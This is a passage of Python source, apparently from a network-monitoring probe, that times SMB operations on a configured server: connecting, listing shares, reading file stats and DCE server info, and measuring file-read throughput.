        if self.aShares:
            s += "\n shares = {}\n".format(pprint.pformat(self.aShares))

        return s

    # -----------------------------------------
    def step_get_file_stats(self, _step, iStep):
        """get_file_stats action

        """
        result = {}

        result["smb-step-{:02d}-action".format(iStep)] = _step['type']

        _ms = time.time()

        sError = "smb-step-{:02d}-error".format(iStep)
        if self.useShare(_step['share']) is False:
            result[sError] = "share not available: {}".format(_step['share'])
            return result
        result["smb-step-{:02d}-share".format(iStep)] = _step['share']

        if self.cd(_step['path']) is False:
            result[sError] = "path not available in share: {}".format(_step['share'])
            return result
        result["smb-step-{:02d}-path".format(iStep)] = str(_step['path'])

        a = self.lsFiles(_step['file'])
        if a is False:
            result[sError] = "file access error: {}".format(_step['file'])
            return result

        if len(a) == 0:
            result[sError] = "file not found: {}".format(_step['file'])
            return result

        result["smb-step-{:02d}-delay-ms".format(iStep)] = round((time.time() - _ms) * 1000)

        result["smb-step-{:02d}-file".format(iStep)] = a[0]['name']
        result["smb-step-{:02d}-atime".format(iStep)] = datetime.datetime.utcfromtimestamp(a[0]['atime']).isoformat()

        result["smb-step-{:02d}-ctime".format(iStep)] = datetime.datetime.utcfromtimestamp(a[0]['ctime']).isoformat()
        result["smb-step-{:02d}-mtime".format(iStep)] = datetime.datetime.utcfromtimestamp(a[0]['mtime']).isoformat()
        result["smb-step-{:02d}-size".format(iStep)] = a[0]['size']

        return result
        #pprint.pprint(a)

    # -----------------------------------------
    def step_get_share(self, _step, iStep):
        """get_share action

        """
        result = {}

        _ms = time.time()

        result["smb-step-{:02d}-action".format(iStep)] = _step['type']

        r = self.getShare(_step['share'])
        if r != False:
            result["smb-step-{:02d}-remark".format(iStep)] = r['remark']
            result["smb-step-{:02d}-netname".format(iStep)] = r['netname']
        else:
            result["smb-step-{:02d}-error".format(iStep)] = "not found: {}".format(_step['share'])

        result["smb-step-{:02d}-delay-ms".format(iStep)] = round((time.time() - _ms) * 1000)
        
        return result

    # -----------------------------------------
    def step_get_dce_info(self, _step, iStep):
        """get DCE action

        """
        result = {}

        _ms = time.time()

        result["smb-step-{:02d}-action".format(iStep)] = _step['type']

        r = self.getDCEInfo()

        result["smb-step-{:02d}-delay-ms".format(iStep)] = round((time.time() - _ms) * 1000)

        result["smb-step-{:02d}-anndelta".format(iStep)] = r['anndelta']
        result["smb-step-{:02d}-announce".format(iStep)] = r['announce']
        result["smb-step-{:02d}-disc".format(iStep)] = r['disc']
        result["smb-step-{:02d}-licenses".format(iStep)] = r['licenses']
        result["smb-step-{:02d}-major".format(iStep)] = r['major']
        result["smb-step-{:02d}-minor".format(iStep)] = r['minor']
        result["smb-step-{:02d}-name".format(iStep)] = r['name']
        result["smb-step-{:02d}-platform_id".format(iStep)] = r['platform_id']
        result["smb-step-{:02d}-simultaneous_users".format(iStep)] = r['simultaneous_users']
        
        return result

    # -----------------------------------------
    def step_read_file(self, _step, iStep):
        """read a file

        """
        result = {}

        result["smb-step-{:02d}-action".format(iStep)] = _step['type']

        if self.useShare(_step['share']) is False:
            result["smb-step-{:02d}-error"] = "share not available: {}".format(_step['share'])
            return result
        result["smb-step-{:02d}-share".format(iStep)] = _step['share']

        fileName = ntpath.normpath(string.replace(_step['file'], '/', '\\'))
        logging.debug("open file {}".format(fileName))

        if _step.__contains__('blocksize'):
            blocksize = min(1024, _step['blocksize'])
            blocksize *= 1024
        else:
            blocksize = 1024*1024

        _ms = time.time()

        try:
            fid = self.smbClient.openFile(self.tid, fileName)

            offset = 0
            endFile = False

            while endFile is False:
                _buffer = self.smbClient.readFile(self.tid, fid, offset, blocksize)
                if len(_buffer) == 0:
                    endFile = True
                offset += len(_buffer)

            result["smb-step-{:02d}-read-KB".format(iStep)] = offset / 1024.0
            result["smb-step-{:02d}-Mbps".format(iStep)] = (offset * 8 / (time.time() - _ms))/1024000

            self.smbClient.closeFile(self.tid, fid)
        except Exception as e:
            logging.error("open file: {}".format(str(e)))
            result["smb-step-{:02d}-error".format(iStep)] = "error in open file: {}".format(_step['file'])

        result["smb-step-{:02d}-delay-ms".format(iStep)] = round((time.time() - _ms) * 1000)

        return result

    # -----------------------------------------
    def job_smb(self, _config):
        """smb job

        """

        _msTotal = time.time()

        if not _config.__contains__('server'):
            logging.error("no server specified")
            return

        if not _config.__contains__('user'):
            _config['user'] = ""

        if not _config.__contains__('password'):
            _config['password'] = ""

        if not _config.__contains__('domain'):
            _config['domain'] = ""

        if not _config.__contains__('ip'):
            _config['ip'] = _config['server']

        if not _config.__contains__('port'):
            _config['port'] = 445

        self.domain = _config['domain']
        self.username = _config['user']
        self.password = _config['password']
        self.server = _config['server']
        self.ip = _config['ip']
        self.port = _config['port']

        result = {
            "smb-domain": self.domain,
            "smb-user": self.username,
            "smb-server" : self.server
        }
        
        if not _config.__contains__('steps'):
            logging.error("no steps specified")
            result['smb-error'] = "no step specified in configuration"
            self.pushResult(result)
            return

        logging.info("connect")
        _ms = time.time()
        if self.connect() is False:
            logging.error("connect error")
            result['smb-error'] = "connect error"
            self.pushResult(result)
            return
        result['smb-connect-delay-ms'] = round((time.time() - _ms) * 1000)

        _ms = time.time()
        self.getShares()
        result['smb-get-shares-delay-ms'] = round((time.time() - _ms) * 1000)

        # exec each steps
        iStep = 1
        while _config['steps'].__contains__("{:02d}".format(iStep)):
            _step = _config['steps']["{:02d}".format(iStep)]
            logging.debug("exec step {:02d}".format(iStep))

            if _step['type'] == "get_file_stats":
                _r = self.step_get_file_stats(_step, iStep)
                result.update(_r)

            if _step['type'] == "get_dce_info":
                _r = self.step_get_dce_info(_step, iStep)
                result.update(_r)

            if _step['type'] == "get_share":
                _r = self.step_get_share(_step, iStep)
                result.update(_r)

            if _step['type'] == "read_file":
                _r = self.step_read_file(_step, iStep)
                result.update(_r)

            iStep += 1

        # get the shares
        # print self.getShares()

        # get dce server info
        # pprint.pprint(self.getDCEInfo())
        
        # self.useShare("notavail")
        # self.useShare("music")

        # self.cd("/Calogero/L'Embellie")

        # pprint.pprint(self.lsFiles())

        logging.info("logout")
        self.logoff()

        result['smb-delay-ms'] = round((time.time() - _msTotal) * 1000)

        import pprint
        pprint.pprint(result)

        # logging.info("smb results : {}".format(result))
        # exit()
        #self.pushResult(result)

        if 'run_once' in _config:
            logging.info("run only once, exit")
            exit()